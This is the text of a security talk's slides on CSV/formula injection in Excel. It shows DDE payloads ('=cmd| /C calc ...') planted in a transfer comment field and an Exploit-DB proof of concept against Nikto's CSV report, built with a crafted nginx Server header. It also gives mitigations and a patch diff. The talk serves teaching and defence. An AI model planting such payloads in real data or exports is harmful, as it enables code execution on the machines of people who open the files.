Export to RCE

Adam Greenhill
SecurityCompass
Who am I?

- Senior Consultant @ Security Compass
- OSCP
- Graduated Sheridan College’s Honours Bachelor of Applied Information Sciences (Information Systems Security)
- Fun fact: I dislike everything about Twitter
We’re hiring:
https://securitycompass.com/careers/

Shameless plug

(Don’t google that)
Many years ago...
<table>
<thead>
<tr>
<th>Year</th>
<th>Make</th>
<th>Model</th>
<th>Description</th>
<th>Price</th>
</tr>
</thead>
<tbody>
<tr>
<td>1997</td>
<td>Ford</td>
<td>E350</td>
<td>ac, abs, moon</td>
<td>3000.00</td>
</tr>
<tr>
<td>1999</td>
<td>Chevy</td>
<td>&quot;Venture &quot;Extended Edition&quot;&quot;&quot;&quot;</td>
<td></td>
<td>4900.00</td>
</tr>
<tr>
<td>1999</td>
<td>Chevy</td>
<td>&quot;Venture &quot;Extended Edition, Very Large&quot;&quot;&quot;&quot;</td>
<td></td>
<td>5000.00</td>
</tr>
<tr>
<td>1996</td>
<td>Jeep</td>
<td>Grand Cherokee</td>
<td>&quot;MUST SELL! air, moon roof, loaded&quot;</td>
<td>4799.00</td>
</tr>
</tbody>
</table>

https://en.wikipedia.org/wiki/Comma-separated_values
CSV Injection, also known as Formula Injection, occurs when websites embed untrusted input inside CSV files.

```cmd
/C calc '!'A1'
```

https://www.owasp.org/index.php/CSV_Injection
Microsoft Excel!
=CMD(Command) - Execute system commands

=HYPERLINK(URL, “Friendly Name”) - Create URLs

=WEBSERVICE(URL) - Perform API calls

=FILTERXML(URL, xpath_query) - Performs XML related web requests*

* - Thank you Brynn! :D
Can you think of any attacks?
Web apps:
● Financial sites
● CMS backup functionality
● Geographic data
Attacker performs an e-transfer to another account. In the comment field they enter `=cmd| /C calc '"A1'`
Example Scenario

Payload gets stored in the database
Victim exports all transactions to CSV
Example Scenario

Poisoned CSV created
Victim opens poisoned CSV file in Excel
“Victim” is able to execute arbitrary code against “attacker”
# Exploit Title: Nikto 2.1.6 - CSV Injection
# Google Dork: N/A
# Date: 2018-06-01
# Exploit Author: Adam Greenhill
# Vendor Homepage: https://cirt.net/Nikto2
# Software Link: https://github.com/sullo/nikto
# Affected Version: 2.1.6, 2.1.5
# Category: Applications
# Tested on: Kali Linux 4.14 x64
# CVE : CVE-2018-11652
# Configure the nginx server as follows by editing the /etc/nginx/nginx.conf file:

user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
    worker_connections 768;
    # multi_accept on;
}

http {
    server_tokens off; # removed pound sign
    more_set_headers "Server: =cmd|'"/C calc"'/'A1'"; 

    server {
        listen 80;

        server_name localhost;

        location /hello {
            return 200 "hello world";
        }
    }
}

https://www.exploit-db.com/exploits/44899
git clone https://github.com/sullo/nikto

cd nikto

git checkout 098177b01729ae33a260ff1bc43cfe425f7c7e
  https://github.com/sullo/nikto/commits/master?after=9dbf5f2e5464959f3bb01d9b3e761427aa8a511c+104

cp -f ./program/plugins/nikto_report_csv.plugin /var/lib/nikto/plugins/nikto_report_csv.plugin

nikto -h 127.0.0.1 -o injection.csv

curl -v 127.0.0.1
Demo
It’s rewind time
“Attacker” uses Nikto
Nikto scans “victim” server
Nikto outputs results into CSV
Victim opens poisoned CSV file in Excel
“Victim” is able to execute arbitrary code against “attacker”
This attack is difficult to mitigate, and explicitly disallowed from quite a few bug bounty programs. To remediate it, ensure that no cells begin with any of the following characters:

- Equals to ("=")
- Plus ("+")
- Minus ("-")
- At ("@")

https://www.owasp.org/index.php/CSV_Injection
@@ -53,10 +53,11 @@ sub csv_host_start {
    my ($handle, $mark) = @_;
    $mark->{'banner'} =~ s/"/\"/g;
    my $hostname = $mark->{'vhost'} ? $mark->{'vhost'} : $mark->{'hostname'};
-   print $handle "\"$hostname\","
-   . "\"$mark->{'ip'}\\
-   . "\"$mark->{'port'}\\
-   . "\"$mark->{'banner'}\\n;
+   print $handle "\"
+   . csv_safecell($hostname) . "\","
+   . "\\
+   . csv_safecell($mark->{'ip'}) . "\","
+   . "\\
+   . csv_safecell($mark->{'port'}) . "\","
@@ -53,10 +53,11 @@
@@ sub csv_host_start { }

 my ($handle, $mark) = @_;  
 $mark->{'banner'} =~ s//\//g;
 my $hostname = $mark->{'vhost'} ? $mark->{'vhost'} : $mark->{'hostname'};

- print $handle "\"$hostname\"",
-       "\"$mark->{\'ip\'}\"",
-       "\"$mark->{\'port\'}\"",
-       "\"$mark->{\'banner\'}\"\n";
+ print $handle "\"
+       . csv_safecell($hostname) . "\",
+       . csv_safecell($mark->{\'ip\'}) . "",
+       . csv_safecell($mark->{\'port\'}) . "",
}
+# prevent CSV injection attacks
+sub csv_safecell {
+    my $celldata = @_[0] || return;
+    if ($celldata =~ /^[=+@-]$/) { $celldata = "" . $celldata; }
+    return $celldata;
+}
Defense in depth
Disable Dynamic Data Exchange

File -> Options

Trust Center -> Trust Center Settings
Disable Dynamic Data Exchange

Uncheck the following two options:
- Enable Dynamic Data Exchange Server Lookup
- Enable Dynamic Data Exchange Server Launch
Consider the following
Excel isn’t the only culprit...

A number of Microsoft products use the Dynamic Data Exchange (DDE) protocol
1. Understand the technologies that you’re working with
2. Sanitize your inputs
3. Sanitize your outputs
4. If you’re not using it disable it
Questions or concerns?
Thank you!

https://www.linkedin.com/in/adamgreenhill/
● https://payatu.com/csv-injection-basic-to-exploit/
● https://pentestlab.blog/2018/01/16/microsoft-office-dd
   e-attacks/
● https://attack.mitre.org/techniques/T1173/
● https://www.owasp.org/index.php/CSV_Injection
● https://github.com/sullo/nikto
● https://pixabay.com/
● https://giphy.com